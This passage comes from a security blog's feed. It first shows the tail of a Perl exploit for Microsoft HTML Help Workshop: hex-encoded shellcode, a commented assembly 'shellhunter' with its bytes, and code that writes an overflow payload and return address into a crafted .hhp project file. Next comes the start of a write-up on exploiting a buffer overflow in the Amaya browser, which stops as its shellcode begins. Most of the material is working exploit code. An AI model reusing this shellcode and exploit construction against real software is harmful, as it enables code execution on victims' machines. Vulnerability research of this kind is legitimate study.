    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>69&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>31&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">#/----------------Advanced Shellhunter Code----------------\</span>
    <span style="color: #666666; font-style: italic;">#01D717DD   EB 1E            JMP SHORT 01D717FD            |</span>
    <span style="color: #666666; font-style: italic;">#01D717DF   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E2   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E5   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E8   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EB   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EE   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F1   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F4   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F7   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FA   83C4 54          ADD ESP,54                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FD   33FF             XOR EDI,EDI                   |</span>
    <span style="color: #666666; font-style: italic;">#01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |</span>
    <span style="color: #666666; font-style: italic;">#01D71806   EB 0E            JMP SHORT 01D71816            |</span>
    <span style="color: #666666; font-style: italic;">#01D71808   58               POP EAX                       |</span>
    <span style="color: #666666; font-style: italic;">#01D71809   83E8 3C          SUB EAX,3C                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7180C   50               PUSH EAX                      |</span>
    <span style="color: #666666; font-style: italic;">#01D7180D   6A FF            PUSH -1                       |</span>
    <span style="color: #666666; font-style: italic;">#01D7180F   33DB             XOR EBX,EBX                   |</span>
    <span style="color: #666666; font-style: italic;">#01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |</span>
    <span style="color: #666666; font-style: italic;">#01D71814   EB 05            JMP SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71816   E8 EDFFFFFF      CALL 01D71808                 |</span>
    <span style="color: #666666; font-style: italic;">#01D7181B   B8 12121212      MOV EAX,12121212              |</span>
    <span style="color: #666666; font-style: italic;">#01D71820   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71828   83C7 20          ADD EDI,20                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182F  ^75 F7            JNZ SHORT 01D71828            |</span>
    <span style="color: #666666; font-style: italic;">#01D71831   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D71834   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71839  ^75 E0            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D7183B   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7183E   B8 42424242      MOV EAX,42424242              |</span>
    <span style="color: #666666; font-style: italic;">#01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71845  ^75 D4            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71847   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7184A   FFE7             JMP EDI                       |</span>
    <span style="color: #666666; font-style: italic;">#\-----------------------End of Code----------------------/</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>1e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>54&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>0e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>3c&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>db&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>23&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>e0&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>d4&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>e7&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">280</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">55</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #0000ff;">$len</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">55</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#0x00401f93   CALL EDI [hhw.exe]</span>
&nbsp;
    <span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt; s.hhp&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">print</span> <span style="color: #0000ff;">$hhpprj_file</span> <span style="color: #0000ff;">$hhp_data1</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$ret</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$crlf</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$hhp_data2</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout1</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout2</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout3</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$lookout4</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$overflow3</span><span style="color: #339933;">.</span>
    <span style="color: #0000ff;">$crlf</span><span style="color: #339933;">;</span>
    <span style="color: #000066;">close</span> <span style="color: #0000ff;">$hhpprj_file</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/01/microsoft-html-workshop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Amaya Web Browser</title>
		<link>http://www.abysssec.com/blog/2008/12/224/</link>
		<comments>http://www.abysssec.com/blog/2008/12/224/#comments</comments>
		<pubDate>Sat, 27 Dec 2008 01:04:25 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[advisory]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=224</guid>
		<description><![CDATA[Amaya Web Browser &#60;= 11.0.1 Remote Buffer Overflow Exploit Vulnerability discovery &#38; Exploit by SkD We will start with a description of the affected software: Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web. Browsing features are seamlessly integrated with the editing and remote access features [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;"><strong>Amaya Web Browser &lt;= 11.0.1 Remote Buffer Overflow Exploit</strong></p>
<p style="text-align: center;"><em>Vulnerability discovery &amp; Exploit by SkD</em></p>
<p style="text-align: center;">
<p style="text-align: left;">We will start with a description of the affected software:</p>
<blockquote>
<p style="text-align: left;"><em>Amaya is a Web editor, i.e. a tool used to create and update documents directly on the Web. Browsing features are seamlessly integrated with the editing and remote access features in a uniform environment. This follows the original vision of the Web as a space for collaboration and not just a one-way publishing medium.</em></p>
</blockquote>
<p style="text-align: left;">
<p style="text-align: left;">The vulnerability lies in the way Amaya (version 11.0.1 and below) parses HTML tags. Certain tags trigger different vulnerabilites, mostly overflows but each has a different environment for exploitation.</p>
<p style="text-align: left;">I selected that the &#8220;&lt;td nowrap&gt;&#8221; and the &#8220;&lt;title(overflow)&gt;&#8221; tags were the most convenient to use for the exploit.</p>
<p style="text-align: left;">Here is a picture of the debugger&#8217;s state when the buffer overflow occurs with the &#8220;&lt;td nowrap&gt;&#8221; tag:</p>
<p style="text-align: left;"><img class="alignnone size-full wp-image-225" title="i1" src="http://abysssec.com/blog/wp-content/uploads/2008/12/i1.bmp" alt="Debugger state after overflow (Amaya)" width="576" height="347" /></p>
<p style="text-align: left;">As we can see the EIP is fully controllable but to exploit the issue there are quite a few problems:</p>
<ul>
<li>The buffer can only have characters from (hex) 0&#215;00 to 0x7f, 0&#215;80 =&gt; and above will corrupt the buffer with uneeded characters so the putting the shellcode and finding return addresses will be a problem.</li>
<li>Registers point at random places except for ESI which can be controlled to point to a specified location with a correct calculation.</li>
<li>Finding a JMP ESP/CALL ESP in one of the Amaya&#8217;s native modules will be hard because none of them include the allowed characters (we want to make it universal).</li>
<li>Heap layout is randomized.</li>
</ul>
<p>Please note that I was working on this on Windows Vista SP1 so it may differ with XP, 2003, etc.</p>
<p>Okay, so what can we do? This won&#8217;t be exploited the normal way with the classic jmp esp or there isn&#8217;t any SEH handlers to exploit so what is there to do? Like I mentioned in the previous list, ESI points to a controllable region in the stack. This region will vary if a calculation for the junk characters is not correct (you will see what I am talking about in the exploit code).  So to combat this problem we must look to the heap for the clean buffer before transformation. Guess what? EDI points close to this but it is random so I cannot just decrease EDI by a static number!  What I did was a similar method to egghunting as in heap overflows but my new method is called, <em><strong>shellhunting</strong></em>. The conclusion is that the shellhunter must be alphanumerical (well, mostly) and it must look for the shellcode in the heap pointed by EDI.</p>
<p>This is a advanced stack overflow exploit which also involves the heap! Please remember that this will only work on Vista SP 1 ( I tested it on XP but different heap layouts again made it a hassle for me to change :) ).</p>
<p>This is the stack and memory when the buffer involves characters over 0&#215;80 (this is the shellcode):</p>
<p><img class="alignnone size-full wp-image-228" title="i2" src="http://abysssec.com/blog/wp-content/uploads/2008/12/i2.bmp" alt="Stack state" /></p>
<p>And here is the shellcode so you can compare!</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span>
